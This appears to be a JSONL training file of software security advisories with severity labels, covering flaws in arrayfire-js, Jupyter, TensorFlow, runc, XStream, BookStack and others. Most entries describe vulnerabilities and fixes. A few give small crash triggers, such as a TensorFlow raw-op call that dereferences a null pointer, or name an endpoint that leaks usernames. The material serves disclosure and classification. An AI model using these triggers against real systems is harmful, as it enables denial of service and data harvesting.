-{"id": "400d831a524349d2a00e", "text": "arrayfire-js downloads Resources over HTTP\n\nAffected versions of `arrayfire-js` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `arrayfire-js`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "arrayfire-js downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `arrayfire-js` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `arrayfire-js`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "f5efcdc059422ef244f2", "text": "Open redirect in Jupyter Notebook\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nOpen redirect vulnerability - a maliciously crafted link to a notebook server could redirect the browser to a different website.\n\nAll notebook servers are technically affected, however, these maliciously crafted links can only be reasonably made for known notebook server hosts. A link to your notebook server may *appear* safe, but ultimately redirect to a spoofed server on the public internet.\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nPatched in notebook 6.1.5\n\n### References\n\n[OWASP page on open redirects](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list [security@ipython.org](mailto:security@ipython.org).\n\nCredit: zhuonan li of Alibaba Application Security Team", "text_raw": "Open redirect in Jupyter Notebook\n\n[Severity: LOW]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nOpen redirect vulnerability - a maliciously crafted link to a notebook server could redirect the browser to a different website.\n\nAll notebook servers are technically affected, however, these maliciously crafted links can only be reasonably made for known notebook server hosts. A link to your notebook server may *appear* safe, but ultimately redirect to a spoofed server on the public internet.\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nPatched in notebook 6.1.5\n\n\n### References\n\n[OWASP page on open redirects](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list [security@ipython.org](mailto:security@ipython.org).\n\nCredit: zhuonan li of Alibaba Application Security Team", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-11-18", "split": "train"}
-{"id": "ea185af6206bc204b3f8", "text": "Insecure temporary directory usage in frontend build functionality of Vaadin 14 and 15-19\n\nInsecure temporary directory usage in frontend build functionality of `com.vaadin:flow-server` versions 2.0.9 through 2.5.2 (Vaadin 14.0.3 through Vaadin 14.5.2), 3.0 prior to 6.0 (Vaadin 15 prior to 19), and 6.0.0 through 6.0.5 (Vaadin 19.0.0 through 19.0.4) allows local users to inject malicious code into frontend resources during application rebuilds.\n\n- https://vaadin.com/security/cve-2021-31411", "text_raw": "Insecure temporary directory usage in frontend build functionality of Vaadin 14 and 15-19\n\n[Severity: MEDIUM]\n\nInsecure temporary directory usage in frontend build functionality of `com.vaadin:flow-server` versions 2.0.9 through 2.5.2 (Vaadin 14.0.3 through Vaadin 14.5.2), 3.0 prior to 6.0 (Vaadin 15 prior to 19), and 6.0.0 through 6.0.5 (Vaadin 19.0.0 through 19.0.4) allows local users to inject malicious code into frontend resources during application rebuilds.\n\n- https://vaadin.com/security/cve-2021-31411", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "edfa1db6813c43a88b62", "text": "Spree Improper Input Validation vulnerability\n\nSpree Commerce 1.0.x before 2.0.0.rc1 allows remote authenticated administrators to instantiate arbitrary Ruby objects and execute arbitrary commands via the (1) `payment_method` parameter to `core/app/controllers/spree/admin/payment_methods_controller.rb`; and the (2) `promotion_action parameter` to `promotion_actions_controller.rb`, (3) `promotion_rule parameter` to `promotion_rules_controller.rb`, and (4) `calculator_type` parameter to `promotions_controller.rb` in `promo/app/controllers/spree/admin/`, related to unsafe use of the constantize function.", "text_raw": "Spree Improper Input Validation vulnerability\n\n[Severity: MEDIUM]\n\nSpree Commerce 1.0.x before 2.0.0.rc1 allows remote authenticated administrators to instantiate arbitrary Ruby objects and execute arbitrary commands via the (1) `payment_method` parameter to `core/app/controllers/spree/admin/payment_methods_controller.rb`; and the (2) `promotion_action parameter` to `promotion_actions_controller.rb`, (3) `promotion_rule parameter` to `promotion_rules_controller.rb`, and (4) `calculator_type` parameter to `promotions_controller.rb` in `promo/app/controllers/spree/admin/`, related to unsafe use of the constantize function.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "44946c3255fcdea2550b", "text": "Incorrect Permission Assignment for Critical Resource in Singularity\n\nAn issue was discovered in Singularity 3.1.0 to 3.2.0-rc2, a malicious user with local/network access to the host system (e.g. ssh) could exploit this vulnerability due to insecure permissions allowing a user to edit files within `/run/singularity/instances/sing/<user>/<instance>`. The manipulation of those files can change the behavior of the starter-suid program when instances are joined resulting in potential privilege escalation on the host.", "text_raw": "Incorrect Permission Assignment for Critical Resource in Singularity\n\n[Severity: HIGH]\n\nAn issue was discovered in Singularity 3.1.0 to 3.2.0-rc2, a malicious user with local/network access to the host system (e.g. ssh) could exploit this vulnerability due to insecure permissions allowing a user to edit files within `/run/singularity/instances/sing/<user>/<instance>`. The manipulation of those files can change the behavior of the starter-suid program when instances are joined resulting in potential privilege escalation on the host.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "a16d57d0eebefc78f7b2", "text": "Session operations in eager mode lead to null pointer dereferences\n\n### Impact\nIn eager mode (default in TF 2.0 and later), session operations are invalid. However, users could still call the raw ops associated with them and trigger a null pointer dereference:\n\n```python\nimport tensorflow as tf\ntf.raw_ops.GetSessionTensor(handle=['\\x12\\x1a\\x07'],dtype=4)\n```\n```python\nimport tensorflow as tf\ntf.raw_ops.DeleteSessionTensor(handle=['\\x12\\x1a\\x07'])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/eebb96c2830d48597d055d247c0e9aebaea94cd5/tensorflow/core/kernels/session_ops.cc#L104) dereferences the session state pointer without checking if it is valid:\n\n```cc\n  OP_REQUIRES_OK(ctx, ctx->session_state()->GetTensor(name, &val));\n```\n\nThus, in eager mode, `ctx->session_state()` is nullptr and the call of the member function is undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [ff70c47a396ef1e3cb73c90513da4f5cb71bebba](https://github.com/tensorflow/tensorflow/commit/ff70c47a396ef1e3cb73c90513da4f5cb71bebba).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Session operations in eager mode lead to null pointer dereferences\n\n[Severity: LOW]\n\n### Impact\nIn eager mode (default in TF 2.0 and later), session operations are invalid. However, users could still call the raw ops associated with them and trigger a null pointer dereference:\n\n```python\nimport tensorflow as tf\ntf.raw_ops.GetSessionTensor(handle=['\\x12\\x1a\\x07'],dtype=4)\n```\n```python\nimport tensorflow as tf\ntf.raw_ops.DeleteSessionTensor(handle=['\\x12\\x1a\\x07'])\n``` \n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/eebb96c2830d48597d055d247c0e9aebaea94cd5/tensorflow/core/kernels/session_ops.cc#L104) dereferences the session state pointer without checking if it is valid:\n  \n```cc\n  OP_REQUIRES_OK(ctx, ctx->session_state()->GetTensor(name, &val));\n```\n\nThus, in eager mode, `ctx->session_state()` is nullptr and the call of the member function is undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [ff70c47a396ef1e3cb73c90513da4f5cb71bebba](https://github.com/tensorflow/tensorflow/commit/ff70c47a396ef1e3cb73c90513da4f5cb71bebba).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "58a802d52688f911f81b", "text": "Buffer overflow in Pillow\n\nIn Pillow before 7.1.0, there are two Buffer Overflows in `libImaging/TiffDecode.c`.", "text_raw": "Buffer overflow in Pillow\n\n[Severity: HIGH]\n\nIn Pillow before 7.1.0, there are two Buffer Overflows in `libImaging/TiffDecode.c`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "2c276dd2b8557639a71e", "text": "NLTK Vulnerable To Path Traversal\n\nNLTK Downloader before 3.4.5 is vulnerable to a directory traversal, allowing attackers to write arbitrary files via a `../` (dot dot slash) in an NLTK package (ZIP archive) that is mishandled during extraction.", "text_raw": "NLTK Vulnerable To Path Traversal\n\n[Severity: HIGH]\n\nNLTK Downloader before 3.4.5 is vulnerable to a directory traversal, allowing attackers to write arbitrary files via a `../` (dot dot slash) in an NLTK package (ZIP archive) that is mishandled during extraction.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-23", "split": "train"}
-{"id": "a6994355c75b2b3b2880", "text": "Malicious Package in bufber-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in bufber-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "5ac7ddd7277ede99acb5", "text": "WordPress Plugin OneSignal 1.17.5 Persistent Cross-Site Scripting", "text_raw": "WordPress Plugin OneSignal 1.17.5 Persistent Cross-Site Scripting\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-07-18", "split": "train"}
-{"id": "dffc3a7e0b4c3f85cf8f", "text": "Cross-Site Request Forgery in Webargs\n\nflaskparser.py in Webargs 5.x through 5.5.2 doesn't check that the Content-Type header is application/json when receiving JSON input. If the request body is valid JSON, it will accept it even if the content type is application/x-www-form-urlencoded. This allows for JSON POST requests to be made across domains, leading to CSRF.", "text_raw": "Cross-Site Request Forgery in Webargs\n\n[Severity: HIGH]\n\nflaskparser.py in Webargs 5.x through 5.5.2 doesn't check that the Content-Type header is application/json when receiving JSON input. If the request body is valid JSON, it will accept it even if the content type is application/x-www-form-urlencoded. This allows for JSON POST requests to be made across domains, leading to CSRF.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "641c5738f2b810909ecb", "text": "Chakra Scripting Engine Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge (HTML-based). The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Microsoft Edge (HTML-based) and then convince a user to view the website. The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability. The security update addresses the vulnerability by modifying how the Chakra scripting engine handles objects in memory.", "text_raw": "Chakra Scripting Engine Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge (HTML-based). The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Microsoft Edge (HTML-based) and then convince a user to view the website. The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability. The security update addresses the vulnerability by modifying how the Chakra scripting engine handles objects in memory.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "7db76b35177a77f6c627", "text": "BookStack is vulnerable to Improper Access Control.\n\nBookStack prior to version 21.11.3 is vulnerable to Improper Access Control. A logged-in user with no privileges OR guest user (if public access enabled) can access the /search/users/select AJAX endpoint meant for admins to manage audit logs, to dump all usernames existing in the Bookstack database. This can also be used to harvest email belonging to a user because BookStack also uses the code where(`email`, `like`, `%` . $search . `%`) to search for users based on email.", "text_raw": "BookStack is vulnerable to Improper Access Control.\n\n[Severity: MEDIUM]\n\nBookStack prior to version 21.11.3 is vulnerable to Improper Access Control. A logged-in user with no privileges OR guest user (if public access enabled) can access the /search/users/select AJAX endpoint meant for admins to manage audit logs, to dump all usernames existing in the Bookstack database. This can also be used to harvest email belonging to a user because BookStack also uses the code where(`email`, `like`, `%` . $search . `%`) to search for users based on email.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "77b73c153f842c461bba", "text": "Dasan Networks GPON ONT WiFi Router H64X Series Cross-Site Request Forgery", "text_raw": "Dasan Networks GPON ONT WiFi Router H64X Series Cross-Site Request Forgery\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-07-12", "split": "train"}
-{"id": "96f1427eebc6080bf2ee", "text": "Improper Restriction of XML External Entity Reference in com.h2database:h2.\n\nH2 is an embeddable RDBMS written in Java. The package com.h2database:h2 from 1.4.198 and before 2.0.202 are vulnerable to XML External Entity (XXE) Injection via the org.h2.jdbc.JdbcSQLXML class object, when it receives parsed string data from org.h2.jdbc.JdbcResultSet.getSQLXML() method. If it executes the getSource() method when the parameter is DOMSource.class it will trigger the vulnerability.", "text_raw": "Improper Restriction of XML External Entity Reference in com.h2database:h2.\n\n[Severity: HIGH]\n\nH2 is an embeddable RDBMS written in Java. The package com.h2database:h2 from 1.4.198 and before 2.0.202 are vulnerable to XML External Entity (XXE) Injection via the org.h2.jdbc.JdbcSQLXML class object, when it receives parsed string data from org.h2.jdbc.JdbcResultSet.getSQLXML() method. If it executes the getSource() method when the parameter is DOMSource.class it will trigger the vulnerability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "e5f5c4ed33d296cb9c19", "text": "Prototype Pollution in think-helper\n\n### Impact\n\nThe software receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.\n\n### Patches\n\n`think-helper@1.1.3` patched it, anyone used `think-helper` should upgrade to `>=1.1.3` version.\n\n### References\n\nhttps://cwe.mitre.org/data/definitions/1321.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [thinkjs/thinkjs](https://github.com/thinkjs/thinkjs)\n* Email us at [i@imnerd.org](mailto:i@imnerd.org)", "text_raw": "Prototype Pollution in think-helper\n\n[Severity: HIGH]\n\n### Impact\n\nThe software receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.\n\n### Patches\n\n`think-helper@1.1.3` patched it, anyone used `think-helper` should upgrade to `>=1.1.3` version.\n\n### References\n\nhttps://cwe.mitre.org/data/definitions/1321.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [thinkjs/thinkjs](https://github.com/thinkjs/thinkjs)\n* Email us at [i@imnerd.org](mailto:i@imnerd.org)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-01", "split": "train"}
-{"id": "ea17f32caeeb15ac232e", "text": "Regular Expression Denial of Service in debug\n\nAffected versions of `debug` are vulnerable to regular expression denial of service when untrusted user input is passed into the `o` formatter.\n\nThis was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.\n\n## Recommendation\n\nVersion 2.x.x: Update to version 2.6.9 or later.\nVersion 3.1.x: Update to version 3.1.0 or later.\nVersion 3.2.x: Update to version 3.2.7 or later.\nVersion 4.x.x: Update to version 4.3.1 or later.", "text_raw": "Regular Expression Denial of Service in debug\n\n[Severity: LOW]\n\nAffected versions of `debug` are vulnerable to regular expression denial of service when untrusted user input is passed into the `o` formatter. \n\nAs it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.\n\nThis was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.\n\n## Recommendation\n\nVersion 2.x.x: Update to version 2.6.9 or later.\nVersion 3.1.x: Update to version 3.1.0 or later.\nVersion 3.2.x: Update to version 3.2.7 or later.\nVersion 4.x.x: Update to version 4.3.1 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2018-08-09", "split": "train"}
-{"id": "1a13215c85dce38e21db", "text": "devices resource list treated as a blacklist by default\n\n### Impact\nContrary to the [OCI runtime specification](https://github.com/opencontainers/runtime-spec/blob/v1.0.2/config-linux.md#device-whitelist), `runc`'s implementation of the `linux.resources.devices` list was a black-list by default. This means that users who created their own `config.json` objects and didn't prefix a deny-all rule (`{\"allow\": false, \"permissions\": \"rwm\"}` or equivalent) were not provided protection by the `devices` cgroup. This would allow malicious containers (with sufficient privileges) to create arbitrary device inodes (assuming they have `CAP_MKNOD`) and operate on any device inodes they may have access to (assuming they have regular Unix DAC permissions).\n\n### Patches\nThis issue has been fixed in [a patch that was part of a larger rework of the devices cgroup code in runc](https://github.com/opencontainers/runc/pull/2391) -- which lead to the discovery of this security bug. Users should upgrade to 1.0.0-rc91 as soon as it is released, or wait for your distribution to backport the relevant fixes.\n\n### Workarounds\nIf you are using `runc` directly, ensure that there is a deny-all entry at the beginning of `linux.resources.devices` -- such an entry would look like `{\"allow\": false, \"permissions\": \"rwm\"}` (all other fields are ignored, though `type` must be set to `\"a\"` or `null` if it is present).\n\nUsers which consume `runc` through another program should check whether their containers are operating under a white-list -- this can be done by reading `/sys/fs/cgroup/devices/devices.list` inside the container. If the file contains only the entry `a *:* rwm` (meaning the cgroup is in black-list mode, which likely means \"allow all device access\") then your containers are vulnerable to this issue.\n\nAs always, we recommend **in the strongest possible terms** that all of our users enable user namespaces on all of their workloads (or pressure their vendors to do so). User namespaces are one of the most significant defense-in-depth protections you can enable for containers, and have prevented many container-related vulnerabilities (both kernel 0days as well as bugs in container runtimes, such as this one).\n\n### References\n* https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v1/devices.html\n* [opencontainers/runtime-spec/config-linux.md#device-whitelist](https://github.com/opencontainers/runtime-spec/blob/v1.0.2/config-linux.md#device-whitelist)\n* https://github.com/opencontainers/runc/pull/2391\n\n### For more information\nIf you have any questions or comments about this advisory:\n* [Open an issue in this repo](https://github.com/opencontainers/runc/issues/new).\n* Email us at <security@opencontainers.org>.", "text_raw": "devices resource list treated as a blacklist by default\n\n[Severity: LOW]\n\n### Impact\nContrary to the [OCI runtime specification](https://github.com/opencontainers/runtime-spec/blob/v1.0.2/config-linux.md#device-whitelist), `runc`'s implementation of the `linux.resources.devices` list was a black-list by default. This means that users who created their own `config.json` objects and didn't prefix a deny-all rule (`{\"allow\": false, \"permissions\": \"rwm\"}` or equivalent) were not provided protection by the `devices` cgroup. This would allow malicious containers (with sufficient privileges) to create arbitrary device inodes (assuming they have `CAP_MKNOD`) and operate on any device inodes they may have access to (assuming they have regular Unix DAC permissions).\n\nHowever, most (if not all) programs that make use of `runc` include this deny-all rule. This was most likely added before the specification mandated a white-list of devices, and the fact that all programs wrote their own deny-all rule obscured the existence of this bug for several years. In fact, even the specification's examples include a default deny-all rule! We therefore believe that while this is a security bug (and has been fixed as such), it was almost certainly not exploitable in the wild due to the inclusion of default deny-all rules by all known users of `runc` -- hence why this advisory has low severity.\n\n### Patches\nThis issue has been fixed in [a patch that was part of a larger rework of the devices cgroup code in runc](https://github.com/opencontainers/runc/pull/2391) -- which lead to the discovery of this security bug. Users should upgrade to 1.0.0-rc91 as soon as it is released, or wait for your distribution to backport the relevant fixes.\n\n### Workarounds\nIf you are using `runc` directly, ensure that there is a deny-all entry at the beginning of `linux.resources.devices` -- such an entry would look like `{\"allow\": false, \"permissions\": \"rwm\"}` (all other fields are ignored, though `type` must be set to `\"a\"` or `null` if it is present).\n\nUsers which consume `runc` through another program should check whether their containers are operating under a white-list -- this can be done by reading `/sys/fs/cgroup/devices/devices.list` inside the container. If the file contains only the entry `a *:* rwm` (meaning the cgroup is in black-list mode, which likely means \"allow all device access\") then your containers are vulnerable to this issue.\n\nAs always, we recommend **in the strongest possible terms** that all of our users enable user namespaces on all of their workloads (or pressure their vendors to do so). User namespaces are one of the most significant defense-in-depth protections you can enable for containers, and have prevented many container-related vulnerabilities (both kernel 0days as well as bugs in container runtimes, such as this one).\n\n### References\n* https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v1/devices.html\n* [opencontainers/runtime-spec/config-linux.md#device-whitelist](https://github.com/opencontainers/runtime-spec/blob/v1.0.2/config-linux.md#device-whitelist)\n* https://github.com/opencontainers/runc/pull/2391\n\n### For more information\nIf you have any questions or comments about this advisory:\n* [Open an issue in this repo](https://github.com/opencontainers/runc/issues/new).\n* Email us at <security@opencontainers.org>.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "be6ca4923d3cb24751a9", "text": "Spoofing attack due to unvalidated KDC in node-krb5\n\nAffected versions of `node-krb5` do not validate the KDC prior to authenticating, which might allow an attacker with network access and enough time to spoof the KDC and impersonate a valid user without knowing their credentials.\n\n## Recommendation\n\nIt appears that this will remain unfixed indefinitely, as the Github issue for this vulnerability has been open since 2015, with no work on it since then.\n\nAt this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=kerberos).", "text_raw": "Spoofing attack due to unvalidated KDC in node-krb5\n\n[Severity: MEDIUM]\n\nAffected versions of `node-krb5` do not validate the KDC prior to authenticating, which might allow an attacker with network access and enough time to spoof the KDC and impersonate a valid user without knowing their credentials.\n\n\n## Recommendation\n\nIt appears that this will remain unfixed indefinitely, as the Github issue for this vulnerability has been open since 2015, with no work on it since then.\n\nAt this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=kerberos).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "883bba3caaab15943711", "text": "Improper certificate management in AWS IoT Device SDK v2\n\nConnections initialized by the AWS IoT Device SDK v2 for Java (versions prior to 1.4.2), Python (versions prior to 1.6.1), C++ (versions prior to 1.12.7) and Node.js (versions prior to 1.5.3) did not verify server certificate hostname during TLS handshake when overriding Certificate Authorities (CA) in their trust stores on MacOS. This issue has been addressed in aws-c-io submodule versions 0.10.5 onward. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.4.2 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on macOS. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on macOS. Amazon Web Services AWS-C-IO 0.10.4 on macOS.", "text_raw": "Improper certificate management in AWS IoT Device SDK v2\n\n[Severity: HIGH]\n\nConnections initialized by the AWS IoT Device SDK v2 for Java (versions prior to 1.4.2), Python (versions prior to 1.6.1), C++ (versions prior to 1.12.7) and Node.js (versions prior to 1.5.3) did not verify server certificate hostname during TLS handshake when overriding Certificate Authorities (CA) in their trust stores on MacOS. This issue has been addressed in aws-c-io submodule versions 0.10.5 onward. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.4.2 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on macOS. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on macOS. Amazon Web Services AWS-C-IO 0.10.4 on macOS.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-24", "split": "train"}
-{"id": "7a9f0a10aedc8e975b1d", "text": "Unauthorized property update in CheckboxGroup component in Vaadin 12-14 and 15-20\n\nImproper check in `CheckboxGroup` in `com.vaadin:vaadin-checkbox-flow` versions 1.2.0 prior to 2.0.0 (Vaadin 12.0.0 prior to 14.0.0), 2.0.0 prior to 3.0.0 (Vaadin 14.0.0 prior to 14.5.0), 3.0.0 through 4.0.1 (Vaadin 15.0.0 through 17.0.11), 14.5.0 through 14.6.7 (Vaadin 14.5.0 through 14.6.7), and 18.0.0 through 20.0.5 (Vaadin 18.0.0 through 20.0.5) allows attackers to modify the value of a disabled `Checkbox` inside enabled `CheckboxGroup` component via unspecified vectors.\n\n- https://vaadin.com/security/cve-2021-33605", "text_raw": "Unauthorized property update in CheckboxGroup component in Vaadin 12-14 and 15-20\n\n[Severity: MEDIUM]\n\nImproper check in `CheckboxGroup` in `com.vaadin:vaadin-checkbox-flow` versions 1.2.0 prior to 2.0.0 (Vaadin 12.0.0 prior to 14.0.0), 2.0.0 prior to 3.0.0 (Vaadin 14.0.0 prior to 14.5.0), 3.0.0 through 4.0.1 (Vaadin 15.0.0 through 17.0.11), 14.5.0 through 14.6.7 (Vaadin 14.5.0 through 14.6.7), and 18.0.0 through 20.0.5 (Vaadin 18.0.0 through 20.0.5) allows attackers to modify the value of a disabled `Checkbox` inside enabled `CheckboxGroup` component via unspecified vectors.\n\n- https://vaadin.com/security/cve-2021-33605", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "6214f6499c24aa251371", "text": "Uncaught Exception in jsoup\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nThose using jsoup to parse untrusted HTML or XML may be vulnerable to DOS attacks. If the parser is run on user supplied input, an attacker may supply content that causes the parser to get stuck (loop indefinitely until cancelled), to complete more slowly than usual, or to throw an unexpected exception. This effect may support a denial of service attack.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\nUsers should upgrade to jsoup 1.14.2\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\nUsers may rate limit input parsing. Users should limit the size of inputs based on system resources. Users should implement thread watchdogs to cap and timeout parse runtimes.", "text_raw": "Uncaught Exception in jsoup\n\n[Severity: HIGH]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nThose using jsoup to parse untrusted HTML or XML may be vulnerable to DOS attacks. If the parser is run on user supplied input, an attacker may supply content that causes the parser to get stuck (loop indefinitely until cancelled), to complete more slowly than usual, or to throw an unexpected exception. This effect may support a denial of service attack.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\nUsers should upgrade to jsoup 1.14.2\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\nUsers may rate limit input parsing. Users should limit the size of inputs based on system resources. Users should implement thread watchdogs to cap and timeout parse runtimes.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
-{"id": "88da72213993e834d07c", "text": "Denial of service in XStream\n\nXStream through 1.4.9, when a certain denyTypes workaround is not used, mishandles attempts to create an instance of the primitive type 'void' during unmarshalling, leading to a remote application crash, as demonstrated by an xstream.fromXML(\"<void/>\") call.", "text_raw": "Denial of service in XStream\n\n[Severity: HIGH]\n\nXStream through 1.4.9, when a certain denyTypes workaround is not used, mishandles attempts to create an instance of the primitive type 'void' during unmarshalling, leading to a remote application crash, as demonstrated by an xstream.fromXML(\"<void/>\") call.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-30", "split": "train"}
-{"id": "d363ec9ca4f01ac75a2b", "text": "SopCast 3.4.7 (Diagnose.exe) Improper Permissions", "text_raw": "SopCast 3.4.7 (Diagnose.exe) Improper Permissions\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-12-05", "split": "train"}
